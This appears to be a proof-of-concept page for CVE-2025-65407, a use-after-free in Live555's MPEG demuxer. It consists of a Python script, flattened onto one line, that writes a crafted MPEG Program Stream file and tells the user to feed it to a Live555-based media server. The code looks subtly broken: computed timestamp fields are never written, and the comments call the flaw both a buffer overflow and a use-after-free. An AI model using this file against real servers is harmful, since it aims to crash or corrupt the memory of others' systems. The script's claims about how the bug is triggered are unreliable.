CVE-2025-65407: Live555 MPEG1or2Demux newElementaryStream() 释放后重用漏洞

#!/usr/bin/env python3 """ CVE-2025-65407 PoC - Live555 MPEG1or2Demux Use-after-Free This PoC generates a crafted MPEG Program Stream that triggers use-after-free in Live555's MPEG1or2Demux::newElementaryStream() """ import struct import sys def create_crafted_mpeg_ps(): """Generate a malicious MPEG Program Stream""" # Pack Header - Program Stream pack pack_header = bytearray() pack_start_code = 0x000001BA # Pack start code pack_header.extend(struct.pack('>I', pack_start_code)) # System clock reference (SCR) - manipulated for trigger scr = 0x0000000000 # Simplified SCR scr_base = (scr >> 30) & 0x7FFFFFFF scr_extension = scr & 0x1FF # Pack stuffing - trigger condition stuffing = b'\x00' * 16 # Padding to reach vulnerable code path # System header - Program Stream system header system_header = bytearray() system_header_start = 0x000001BB # System header start code system_header.extend(struct.pack('>I', system_header_start)) header_length = 12 system_header.extend(struct.pack('>H', header_length)) # Rate bound and audio/video bounds - crafted values system_header.extend(struct.pack('>I', 0x0000FFFF)) # Rate bound system_header.extend(b'\xC0\x00') # Fixed flags system_header.extend(struct.pack('>H', 0xFFFF)) # Audio bounds system_header.extend(struct.pack('>H', 0xFFFF)) # Video bounds # PES packet - triggers newElementaryStream() pes_header = bytearray() pes_start = 0x000001E0 # Video stream ID pes_header.extend(struct.pack('>I', pes_start)) # PES packet length - causes buffer overflow in stream handling pes_length = 0xFFFF pes_header.extend(struct.pack('>H', pes_length)) # Crafted PES header to trigger use-after-free # PTS (Presentation Time Stamp) manipulation pts = 0x2000000000 # Invalid PTS causing memory corruption pts_bytes = bytes([ 0x21, # PTS_DTS flags ((pts >> 30) & 0x0E) | 0x21, ((pts >> 22) & 0xFF), ((pts >> 14) & 0xFE) | 0x01, ((pts >> 7) & 0xFF), ((pts << 1) & 0xFE) | 0x01 ]) pes_header.extend(pts_bytes) # Padding data to trigger stream cleanup payload = b'\xFF' * 1024 # Padding bytes # Combine all parts malicious_ps = bytes(pack_header) + stuffing + bytes(system_header) + bytes(pes_header) + payload return malicious_ps def main(): print("[*] CVE-2025-65407 PoC Generator") print("[*] Target: Live555 Streaming Media v2018.09.02") print("[*] Vulnerability: Use-after-free in MPEG1or2Demux::newElementaryStream()") # Generate the malicious MPEG Program Stream malicious_data = create_crafted_mpeg_ps() # Save to file output_file = "CVE-2025-65407.mpg" with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] Generated malicious MPEG PS: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print("[+] Usage: Feed this file to a Live555-based media server") if __name__ == "__main__": main()